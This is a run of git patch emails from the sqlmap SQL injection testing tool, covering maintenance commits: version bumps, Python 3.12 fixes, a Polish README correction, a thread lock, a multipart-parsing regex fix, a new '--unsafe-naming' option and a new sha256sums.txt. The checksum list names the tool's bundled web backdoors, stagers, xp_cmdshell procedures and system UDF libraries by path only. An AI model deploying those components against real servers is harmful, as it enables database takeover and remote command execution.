apiparser.add_argument("--username", help="Basic authentication username (optional)") + apiparser.add_argument("--password", help="Basic authentication password (optional)") + (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() + # Start the client or the server if args.server: From 8430d6ba96fa833885d48f47973f9bf7b652025b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Jan 2024 12:03:29 +0100 Subject: [PATCH 036/853] Fixing some Python3.12 naggings --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e76521dd3ca..f0e0454d73e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -880,7 +880,7 @@ def getManualDirectories(): def getAutoDirectories(): """ >>> pushValue(kb.absFilePaths) - >>> kb.absFilePaths = ["C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"] + >>> kb.absFilePaths = [r"C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"] >>> getAutoDirectories() ['C:/inetpub/wwwroot', '/var/www/html'] >>> kb.absFilePaths = popValue() @@ -2308,7 +2308,7 @@ def ntToPosixSlashes(filepath): Replaces all occurrences of NT backslashes in provided filepath with Posix slashes - >>> ntToPosixSlashes('C:\\Windows') + >>> ntToPosixSlashes(r'C:\\Windows') 'C:/Windows' """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 8cdc848cea2..999d30590d2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.5" +VERSION = "1.8.1.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From acd98319172639c76fab7dfdfa0d9fee1419549f Mon Sep 17 00:00:00 2001 From: Harabe Date: Wed, 17 Jan 2024 12:06:05 +0100 Subject: [PATCH 037/853] Update README-pl-PL.md (#5609) The spelling and grammar errors have been corrected. --- doc/translations/README-pl-PL.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index 745af21e53d..92a6d849432 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -2,9 +2,9 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalających na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. +sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. -Zrzuty ekranowe +Zrzuty ekranu ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) @@ -33,18 +33,18 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia: python sqlmap.py -hh -Przykładowy wynik działania dostępny jest [tutaj](https://asciinema.org/a/46601). -Aby uzyskać listę wszystkich dostępnych funkcji, parametrów i opisów ich działania wraz z przykładami użycia sqlmap proponujemy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601). +Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Odnośniki ---- * Strona projektu: https://sqlmap.org -* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues +* Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From 305d79846f1d5f43ae5c9d763f6a953d5777618f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jan 2024 14:30:50 +0100 Subject: [PATCH 038/853] Fixes #5619 --- lib/core/datatype.py | 13 ++++++++----- lib/core/settings.py | 2 +- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/datatype.py b/lib/core/datatype.py index d595f905d7d..866b1142020 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -6,6 +6,7 @@ """ import copy +import threading import types from thirdparty.odict import OrderedDict @@ -142,6 +143,7 @@ class LRUDict(object): def __init__(self, capacity): self.capacity = capacity self.cache = OrderedDict() + self.__lock = threading.Lock() def __len__(self): return len(self.cache) @@ -158,11 +160,12 @@ def get(self, key): return self.__getitem__(key) def __setitem__(self, key, value): - try: - self.cache.pop(key) - except KeyError: - if len(self.cache) >= self.capacity: - self.cache.popitem(last=False) + with self.__lock: + try: + self.cache.pop(key) + except KeyError: + if len(self.cache) >= self.capacity: + self.cache.popitem(last=False) self.cache[key] = value def set(self, key, value): diff --git a/lib/core/settings.py b/lib/core/settings.py index 999d30590d2..162c1bc59bf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.6" +VERSION = "1.8.1.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ae1bd2136a40fcd01f9297318d7981f72ddf5dcc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 Feb 2024 12:07:38 +0100 Subject: [PATCH 039/853] Update regarding #5618 --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 162c1bc59bf..34c0ad71d85 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.7" +VERSION = "1.8.2.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -333,7 +333,7 @@ HOST_ALIASES = ("host",) # DBMSes with upper case identifiers -UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE)) +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" From 9c1879b08d89f8013a9839ff4e03dabf9a5522dd Mon Sep 17 00:00:00 2001 From: Rohit Kumar Ankam <70012972+rohitkumarankam@users.noreply.github.com> Date: Thu, 8 Feb 2024 20:39:49 +0530 Subject: [PATCH 040/853] fixed multipart form handling issue (#5602) (#5603) --- lib/core/target.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 52f8fc9a79b..cc3ccd2cc03 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -226,7 +226,8 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), + functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed From 76a2e658b58c093c2fe9596dff68af2b3b2e0999 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 10 Feb 2024 15:24:28 +0100 Subject: [PATCH 041/853] Adding switch '--unsafe-naming' --- lib/core/common.py | 3 +++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ sqlmap.conf | 3 +++ 5 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index f0e0454d73e..bccab6c670b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4273,6 +4273,9 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = name + if conf.unsafeNaming: + return retVal + if isinstance(name, six.string_types): retVal = getUnicode(name) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index a404cccaaa1..a70474119b5 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -240,6 +240,7 @@ "testFilter": "string", "testSkip": "string", "timeLimit": "float", + "unsafeNaming": "boolean", "webRoot": "string", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 34c0ad71d85..c9d2eac6660 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.2.0" +VERSION = "1.8.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 42d79ab2861..104bc36e6dc 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -739,6 +739,9 @@ def cmdLineParser(argv=None): general.add_argument("--time-limit", dest="timeLimit", type=float, help="Run with a time limit in seconds (e.g. 3600)") + general.add_argument("--unsafe-naming", dest="unsafeNaming", action="store_true", + help="Disable escaping of DBMS identifiers (e.g. \"user\")") + general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") diff --git a/sqlmap.conf b/sqlmap.conf index 114324e8d52..5b1a1027157 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -829,6 +829,9 @@ testSkip = # Run with a time limit in seconds (e.g. 3600). timeLimit = +# Disable escaping of DBMS identifiers (e.g. "user"). +unsafeNaming = False + # Web server document root directory (e.g. "/var/www"). webRoot = From 626b310e7e11519cceb1596293aa350512ae96ee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 11:22:19 +0100 Subject: [PATCH 042/853] Adding support for sha256sum of source files --- extra/shutils/precommit-hook.sh | 4 ++++ lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 9a25d123bb7..d30d21e8f09 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,11 +12,13 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" +DIGEST="../../sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS +DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 @@ -35,3 +37,5 @@ then fi git add "$SETTINGS_FULLPATH" fi + +cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -v sha256 | xargs sha256sum > $DIGEST_FULLPATH diff --git a/lib/core/settings.py b/lib/core/settings.py index c9d2eac6660..22e132b0451 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.2.1" +VERSION = "1.8.3.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8d4a0a2b7b2121c0f8a73c8f592e587c9aff7ed9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 11:23:35 +0100 Subject: [PATCH 043/853] Adding sha256sums.txt to the repo --- lib/core/settings.py | 2 +- sha256sums.txt | 638 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 639 insertions(+), 1 deletion(-) create mode 100644 sha256sums.txt diff --git a/lib/core/settings.py b/lib/core/settings.py index 22e132b0451..79a22b79d70 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.0" +VERSION = "1.8.3.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt new file mode 100644 index 00000000000..3cad0b17d05 --- /dev/null +++ b/sha256sums.txt @@ -0,0 +1,638 @@ +39a8a35d730f49daf657fa58903a9cd309813b275df29a86439297a10a15261a data/html/index.html +e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql +6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql +798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql +5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql +3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql +afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql +657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql +1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql +9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql +02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql +02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql +606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql +4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql +7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt +3fa42f7428a91d94e792ad8d3cb76109cfe2632d918ae046e32be5a2b51ad3d8 data/shell/backdoors/backdoor.asp_ +7943c1d1e8c037f5466f90ed91cc88441beb0efab83ef5ae98473d2aee770b65 data/shell/backdoors/backdoor.aspx_ +9d9d0bdd4145df96058977a39be924f0facdba9efa7b585848101dafbcb7b02e data/shell/backdoors/backdoor.jsp_ +8a7a73a4c841e92ece79942e03a18df046f90ba43e6af6c4f8fbb77f437bce07 data/shell/backdoors/backdoor.php_ +a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt +67ce7eec132297594f7fd31f93f8d044df3d745c01c70c5afc320848eb4aa149 data/shell/stagers/stager.asp_ +099eb0f9ed71946eb55bd1d4afa1f1f7ef9f39cc41af4897f3d5139524bd2fc2 data/shell/stagers/stager.aspx_ +f2648a0cb4d5922d58b8aa6600f786b32324b9ac91e3a57e4ff212e901ffe151 data/shell/stagers/stager.jsp_ +84b431647a2c13e72b2c9c9242a578349d1b8eef596166128e08f1056d7e4ac8 data/shell/stagers/stager.php_ +31676dcadde4c2eef314ef90e0661a57d2d43cb52a39ef991af43fcb6fa9af22 data/txt/common-columns.txt +bb88fcfc8eae17865c4c25c9031d4488ef38cc43ab241c7361ae2a5df24fd0bb data/txt/common-files.txt +e456db93a536bc3e7c1fbb6f15fbac36d6d40810c8a754b10401e0dab1ce5839 data/txt/common-outputs.txt +504a35909572da9593fa57087caee8953cf913dfdc269959c0369a9480fd107c data/txt/common-tables.txt +4ee746dcab2e3b258aa8ff2b51b40bef2e8f7fc12c430b98d36c60880a809f03 data/txt/keywords.txt +c5ce8ea43c32bc72255fa44d752775f8a2b2cf78541cbeaa3749d47301eb7fc6 data/txt/smalldict.txt +895f9636ea73152d9545be1b7acaf16e0bc8695c9b46e779ab30b226d21a1221 data/txt/user-agents.txt +9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ +849c61612bd0d773971254df2cc76cc18b3d2db4051a8f508643278a166df44e data/udf/mysql/linux/32/lib_mysqludf_sys.so_ +20b5a80b8044da1a0d5c5343c6cbc5b71947c5464e088af466a3fcd89c2881ef data/udf/mysql/linux/64/lib_mysqludf_sys.so_ +8e6ae0e3d67e47261df064aa1536f99e56d4f001cc7f800c3d93b091c3c73115 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ +51d055d00863655e43e683377257953a19728a0ae9a3fe406768289474eb4104 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ +9340f3d10dcca0d72e707f22cf1c4c6581b979c23d6f55a417ee41d9091bb9d1 data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ +dc1199c029dff238e971fd3250916eb48503daa259464c24f22cd2cd51f5ccd8 data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ +0b6a7e34fbbd27adaa8beda36ce20e93fd65b8e3ce93bf44703c514ebdd1cef0 data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ +922fb68413b05031e9237414cf50a04e0e43f0d1c7ef44cfb77305eea0b6f2fe data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ +029ffa3b30a4c6cb10f5271b72c2a6b8967cdab0d23c8e4b0e5e75e2a5c734f2 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ +52f9a6375099cb9c37ca1b8596c2e89a75ed6b8a2493b486ef3cd0230eaa6591 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ +436e0bf6961f4d25321a6fe97bfa73ab2926175d5b93e9c4b0dbcd38a926ca31 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ +6817b485450aed7a634ece8c6c12007ab38e6954c8cbc7a530b101347e788cbc data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ +a2de5ca53411f38dadc1535a58d7416a3758a126feec6becb4e0e33c974825f3 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ +17e2f86c94b4cffb8de37b10456142f5a1bf3d500345bf508f16c9a359fbf005 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ +5ffdaac7d85ac18e5bbae2776522d391d92ca18b2862c3d1d03fa90effcfb918 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ +5fae599c42bb650a2c0ba8111ca64d52bb82ac1ea0e982a3c0f59587d166eb5b data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ +ded0da0260fea0c91e02839d2e06e62741cc25ac5d74b351b0a26e0c0abcd8de data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ +81e9f38cb47753f5b9f472eddd227023c44f6b302b7c03eca65dd9836856de69 data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ +87b0d86661eaf8bf58664a3aa241cc33525cf3dc1043ed60a82cf123d8ae3873 data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ +925a7b8a3904906b8402e707ed510e9ac7598ee30a90f5464d14a3678998cb90 data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ +c55ac17eaf8f4353ac1abbecb3165ebfceeed438780f9c1d8eb863a6f40d64f4 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ +aecdef1198ad2bdfdebc82ba001b6d6c2d08cc162271a37d0a55ae8e5a0e3aa0 data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ +f128717b9930c4fd919da004dacc50487923d56239a68a2566d33212acc09839 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ +965355721e6d5ada50e3f0fe576f668ee62adae0810a34c8024fb40c5301443b data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ +adfb9f1841af68b03f7dfe68234236034cb09d6be28902eda7d66792b667b58a data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ +b0d30e633532c28f693fbb91a67274b3d347cbefa0dfae8d6dafa2b934d9be14 data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ +7acbfe3ddd2d0083fe5d6a9f614008b0659539a5401bdf99d9bcd3667901e4dc data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ +191dc3607fdb4bad4e4231fd0d63c5926aa4055df024a083ea0ec0bbec6e3258 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ +a6717d5da8c4515f9b53bcd2343a4d496dbdcf92c5b05e210f62731e2fa89ce7 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ +611e1f025b919a75ec9543720cac4b02669967dab46e671f0328e75314852951 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ +b427b65cc8b585cd02361f5155ffab2fe52fd5943100382c6b86cd0f52f352d9 data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ +c444fd667a09927a22c92e855d206249e761c1fbd4f3630f7ee06265eb2576ee data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ +c6be099a5dee34f3a7570715428add2e7419f4e73a7ce9913d3fb76eea78d88e data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ +0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt +4e268596da67fb0b6a10a7cefb38af5de13f67dab760cc0505f8f80484a0fe79 data/xml/banner/generic.xml +2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml +14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml +6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml +9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml +86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml +146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml +7973d2024e7803951445a569b591e151edcc322c00213f478dcd9aff23afd226 data/xml/banner/set-cookie.xml +a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml +e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml +75672f8faa8053af0df566a48700f2178075f67c593d916313fcff3474da6f82 data/xml/banner/x-powered-by.xml +3f9d2b3c929cacd96394d190860adc0997c9c7665020073befc69f65e5deb393 data/xml/boundaries.xml +130eef6c02dc5749f164660aa4210f75b0de35aaf2afef94b329bb1e033851f7 data/xml/errors.xml +cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1 data/xml/payloads/boolean_blind.xml +c22d076af9e8518f3b44496aee651932edf590ea4be0b328262314fcb4a52da8 data/xml/payloads/error_based.xml +b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml +0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml +997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml +40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml +e16d35a818ad7c4a2cafbfd250c27408b2cb632aa00ba124666bef2b9e35d055 data/xml/queries.xml +abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS +68550be6eeb800bb54b1b47877412ecc88cf627fb8c88aaee029687152eb3fc1 doc/CHANGELOG.md +2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md +f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md +7986e56aa3806b07f5c7d7371d089e412cf8aeda58f189f7d52676a9198315e0 doc/translations/README-bg-BG.md +008acbb8f3cc5396783a401b7fecef72123830ee7388adb1573f51a5180d2d68 doc/translations/README-de-DE.md +975702c5b8c965b5c865b6658cefb813b4c16effa841d524cfc11f1c1c7dd368 doc/translations/README-es-MX.md +f7b6cc0d0fdd0aa5550957db9b125a48f3fb4219bba282f49febc32a7e149e74 doc/translations/README-fa-IR.md +4753b40c65b039ef9f95cb9503db1ad44aec25a4d3c29b7d0773e5195bd20552 doc/translations/README-fr-FR.md +d6a95bd3ba7375561796e556fc79858eeba0df5e451342f57e038211dc78d580 doc/translations/README-gr-GR.md +8b5c7a49631ce32e1e682e557a8187ab58d3939a8a25b70c7294e598a3623d7a doc/translations/README-hr-HR.md +b800a27c1263195595cff59f5f872ff77fcb094477bf25ebf59b2fcc7ca8c982 doc/translations/README-id-ID.md +e88d3312a2b3891c746f6e6e57fbbd647946e2d45a5e37aab7948e371531a412 doc/translations/README-in-HI.md +96fee9d16d53e9d129578dd169642355c898b35f08a9778005892b55e0d37f6b doc/translations/README-it-IT.md +ce785d16b86a9ea506a39b306967a374beb91ec6bb6120314d00f92d3875eaa2 doc/translations/README-ja-JP.md +336d3e7cb8d616e9f31d4c3dd9eb2d0eeb4881965abdfe4843c2d5dde0a644da doc/translations/README-ka-GE.md +343e3e3120a85519238e21f1e1b9ca5faa3afe0ed21fbb363d79d100e5f4cf0c doc/translations/README-ko-KR.md +93ca1455b21632b5c2781e7ebda2b9939ab5dc955eb1dc454bcdaf9a3402dd24 